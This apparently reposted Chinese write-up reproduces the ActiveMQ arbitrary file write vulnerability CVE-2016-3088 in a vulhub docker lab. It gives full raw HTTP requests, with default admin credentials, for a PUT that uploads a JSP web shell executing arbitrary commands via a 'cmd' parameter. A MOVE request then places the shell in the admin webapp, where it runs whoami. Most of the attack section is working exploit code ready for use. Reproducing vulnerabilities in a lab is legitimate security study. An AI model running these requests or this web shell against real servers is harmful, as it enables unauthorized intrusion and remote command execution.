您好,欢迎来到刀刀网。
搜索
您的当前位置:首页ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

来源:刀刀网

一.环境配置

腾讯云的ubuntu操作系统,已经安装有docker 和 vulhub

直接来到

启动环境docker-compose,要在root权限下运行。

docker-compose up -d

若出现等待时间过长的情况,请参考这篇文章

访问http://公网ip:8161

若访问成功则环境搭建成功。

二.漏洞复现

写入webshell文件。

将报文转发到Repeater。

进入Repeater中的Header模块,修改报文第一行,并在报文最后添加木马。

返回Repeater中的Raw模块,点击Go发送报文。

PUT /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=rveyn……………………
Connection: close

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

上传成功。

访问

发现上传成功,但没有解析

ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

MOVE /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Destination:file:///opt/activemq/webapps/admin/1.jsp
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=yts9……………………
Connection: close
Content-Length: 397

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

访问文件

执行命令whoami

漏洞复现完成。

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- gamedaodao.com 版权所有 湘ICP备2022005869号-6

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务